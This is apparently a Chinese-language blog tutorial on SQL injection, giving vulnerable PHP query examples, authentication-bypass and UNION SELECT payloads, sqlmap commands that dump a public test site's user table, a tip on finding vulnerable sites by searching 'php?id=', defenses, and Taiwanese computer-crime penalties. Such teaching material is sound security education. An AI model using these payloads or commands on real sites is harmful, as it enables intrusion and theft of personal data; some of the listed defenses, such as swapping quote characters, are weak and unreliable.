資安滲透攻防筆記

Gordon Fang
13 min readMay 29, 2019

--

SQL隱碼攻擊(SQL INJECTION ATTACK)

SQL隱碼簡介

SQL隱碼攻擊是一種網站弱點,能讓攻擊者使用資料庫查詢語法入侵網站的資料庫, 一般都是正常查詢命令夾雜SQL惡意命令,在未過濾SQL惡意命令的情況下,資料庫伺服器會接收到攻擊代碼並執行,使得攻擊者能擅自更動、刪除、或竊取資訊。

網站設計不良導致的更大隱憂在於攻擊者可透過資料庫查詢語,得知資料庫、表格名稱、欄位數量,進而得知私密訊息,如:帳號、密碼、聯絡資訊,甚至能部屬後門程式、阻斷服務攻擊,對企業無疑是重大威脅。

Most common attack vector over Critical Infrastructures

網路攻擊手法

上圖可得知在網路攻擊當中,SQL隱碼攻擊仍是常見攻擊手法,因為SQL隱碼攻擊不需要太多撰寫該網頁程式知識或是存取原始碼便可以執行,只要懂SQL命令操作即可攻擊,有點算是"盲注"攻擊,輸入SQL命令試試看能不能挖出資料。

網站弱點範例

假設我們網站是部落格,部落格之中有許多文章,後端語言PHP使用GET方法從網頁上所顯示的參數抓取對應的文章。

#網站弱點範例的URL
http://example.com/show.php?article=1

網頁程式抓取參數article,且不作正規化表示,或是過濾,直接使用此參數,query的部分是使用SQL命令抓取對應該參數的文章標題、文章內容。

$articleid = $_GET[‘article’];
$query = "SELECT article_Title,article_Content FROM articles WHERE articleid = $articleid";

但只要我們稍稍修改網址,資料庫便會將所有資料吐出來,在網址後頭加上
OR 1=1 ,只要讓OR右邊的數學式恆等即可以擷取所有的文章內容。

#網站弱點範例的URL
http://example.com/show.php?article=1 OR 1=1
--------------------------------------------------------------------
#實際資料庫執行的命令
$articleid = $_GET[‘article’];
$query = "SELECT article_Title,article_Content FROM articles WHERE articleid = $articleid OR 1=1";

那要怎麼得知網站是否有這種漏洞?

這種漏洞存在於網路上大大小小的網站上,只要在搜尋引擎上打上php?id=這樣的關鍵字,便會跑出許多網站,只要在網址最後加一個單引號,在沒有過濾參數資料的情況下,採用SQL SERVER類的網站就會顯示錯誤訊息,顯示語法錯誤。

#網站弱點範例的URL
http://example.com/show.php?id=1'
--------------------------------------------------------------------
#實際資料庫執行的命令
$id= $_GET[‘id’];
$query = "SELECT article_Title,article_Content FROM articles WHERE articleid = $id'";
--------------------------------------------------------------------#錯誤訊息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

另外一種是網頁有輸入處供使用者輸入資料,也同樣在沒有過濾的情況下,這邊我們選用 https://web.ctflearn.com/web4/進行測試, CTFlearn是駭客知識網站。惡意攻擊者只要輸入字串帶有SQL語法,例如:’OR 1=1 #,這個SQL語法的意思是指將讓OR右邊的數學式恆等,後面的判斷全部註解掉,不做任何判斷,假設網頁是要提供學生資料,這麼一來全部的個資便可窺知一二,無疑是個人資料外洩、也是資訊安全的威脅。

常見的 SQL隱碼攻擊手法

Authorization Bypass 權限越界

狀況類似上述,假設今日發生在登入頁面,使用同手法,在帳號處出入’OR 1=1 # ,讓前面單引號封閉對應的單引號,註解掉後面的判斷式,攻擊者便可跨越驗證,直接登入進去。

#原本程式
$account= $_GET['account'];
$password= $_GET['password'];
$query = "SELECT * FROM user WHERE account = '$account' AND password = '$password'";
--------------------------------------------------------------------
#遭隱碼攻擊的程式
$account= $_GET['account']; #這時account變數接收到的資料是'OR 1=1
$password= $_GET['password'];
$query = "SELECT * FROM user WHERE account = '' OR 1=1 #AND password = '$password'";

SQL Sub-queries in SQL Injection 子語法注入

UNION 可以將兩個SELECT結果合成一個結果呈現,攻擊者可以利用另一個SELECT 猜出這個表格有幾個欄位,只要在UNION SELECT 加上數字慢慢猜出來欄位數,或是利用ORDER BY +數字。

'UNION SELECT 1,2,3,4#
'UNION SELECT ORDER BY 2#

一般SQL資料庫中都會有一個表格,我們稱之為『系統資訊結構描述』,表格名稱通常叫做Information Schema,攻擊者也可以使用UNION SELECT方式檢視資料表名稱、欄位名稱。

'UNION SELECT  TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS#

也可以查出資料庫使用什麼版本、資料庫名稱,供攻擊者快速找到版本中的弱點。

'UNION SELECT  @@version,database()#

Stored Procedure intrusion 預存程序入侵

預存程序顧名思義就是將常用SQL命令集合起來,用程序儲存起來,概念如同批次檔,攻擊者可以從弱點處(例如:參數、輸入處),引入預先打好的命令進行攻擊。

SQL檢測工具-SQLMAP

SQLMAP是一套檢測SQL Injection的工具,以程式語言Python撰寫而成,程式將SQL隱碼攻擊語法集結而成,並逐一對網站進行滲透,甚至能透過這套工具得到機敏機料。

攻擊測試目標我選擇acunetix的測試網站進行滲透,acunetix是一家提網站安全檢測、網路監控工具的公司,目標網址是: http://testphp.vulnweb.com/artists.php?artist=1,這邊我使用windows內的子作業系統環境ubuntu,sqlmap可以使用apt-get install sqlmap 下載獲得,上圖我們可以知道這網站有兩個資料庫

sqlmap -u [URL] --dbs #參數dbs 取得資料庫名稱
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

這邊我捫對table進行解析,會發現有8張表格分別是|artists |、| carts |、| categ |、| featured |、| guestbook |、| pictures |、| products |、| users|,我們再深入到users這張表格內有什麼欄位,解析後有|address | 、|mediumtext |、| cart | varchar(100) |、| cc | varchar(100) |、| email | varchar(100) |、| name | varchar(100)|、| pass | varchar(100) |、| phone | varchar(100) |、| uname | varchar(100)|,所有的欄位名稱、資料結構一覽無遺。

#解析資料庫表格名稱
sqlmap -u [URL] -D [資料庫名稱] --tables
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables
--------------------------------------------------------------------
#解析資料庫表格內欄位名稱
sqlmap -u [URL] -D [資料庫名稱] -T [表格名稱] --columns
sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users --columns

最後便駭客會做的事竊取個資,我只要使用上面的指令再加上參數 — dump,sqlmap便會進行字典攻擊逐一破解,最後會將結果顯示在終端器上,同時儲存到資料夾裡,上圖就是該使用者的帳號、密碼、以及其他個人資訊,因為這是測試網站,所以以上均不是真實資料。

如何防禦SQL隱碼攻擊

  1. 可以使用正規化的方式驗證過濾輸入值,將含有SQL指令過濾掉、或是將單引號變換成雙引號。
  2. 將資料庫預設帳號、密碼關閉,資料庫管理員帳號確實把關,提高資料庫存取權限,限制使用者透過某些管道存取。
  3. 在不需要使用到更新、插入資料時,資料庫以view方式處理供使用者查詢資料。
  4. 盡可能不要取容易被猜取的資料庫、資料表名稱(但有可能造成維護人員的不易)。
  5. 部屬Web 應用程式防火牆,過濾掉OSI應用層的威脅,一般防火牆只會顧到網路層、傳輸層間的威脅,對於應用層較為忽略。
  6. 將伺服器與資料庫部屬在不同的機器上,並保持更新狀態。

中華民國法律 —常見電腦犯罪法律與刑責

盜用帳號

刑法第三百五十八條(入侵電腦或其相關設 備罪) 無故輸入他人帳號密碼、破解使用電腦之保 護措施或利用電腦系統之漏洞,而入侵他人 之電腦或其相關設備者,處三年以下有期徒 刑、拘役或科或併科十萬元以下罰金。

洩漏電腦秘密

刑法第三百十八條之一(洩密之處罰) 無故洩漏因利用電腦或其他相關設備知悉或 持有他人之秘密者,處二年以下有期徒刑、 拘役或五千元以下罰金。

盜賣電腦個人資料

電腦處理個人資料保護法第三十四條 意圖為自己或第三人不法之利益或損害他人 之利益,而對於個人資料檔案為非法輸出、 干擾、變更、刪除或以其他非法方法妨害個 人資料檔案之正確,致生損害於他人者,處 三年以下有期徒刑、拘役或科新臺幣五萬元 以下罰金。

駭客入侵 他人電腦

刑法第三百五十九條 無故取得、刪除或變更他人電腦或其相關設 備之電磁紀錄,致生損害於公眾或他人者, 處五年以下有期徒刑、拘役或科或併科二十 萬元以下罰金。

刑法第三百六十一條(加重其刑) 對於公務機關之電腦或其相關設備犯前三條 之罪者,加重其刑至二分之一。

SQL Server INFORMATION_SCHEMA Views | See if a Table Exists

https://chartio.com/learn/databases/using-information-schema-views-to-check-to-see-if-table-exists-in-sql-server/

SQL injection幼幼班

https://www.slideshare.net/hugolu/sql-injection-61608454

DUMPING A COMPLETE DATABASE USING SQL INJECTION

https://resources.infosecinstitute.com/dumping-a-database-using-sql-injection/#gref

Day 4 很像走迷宮的sqlmap

[教戰守則] 如何避免 SQL Injection?

http://cyrilwang.blogspot.com/2010/09/sql-injection.html

常見電腦犯罪法律與刑責

https://www.rclaw.com.tw/post-122-8452

--

--

Gordon Fang
Gordon Fang

Written by Gordon Fang

Hi 我是 Gordon,目前是自然語言實驗室的研究生,曾經是金融業軟體工程師,我對大語言模型、設計模式、Linux、平面設計都有涉略,歡迎相互交流。

No responses yet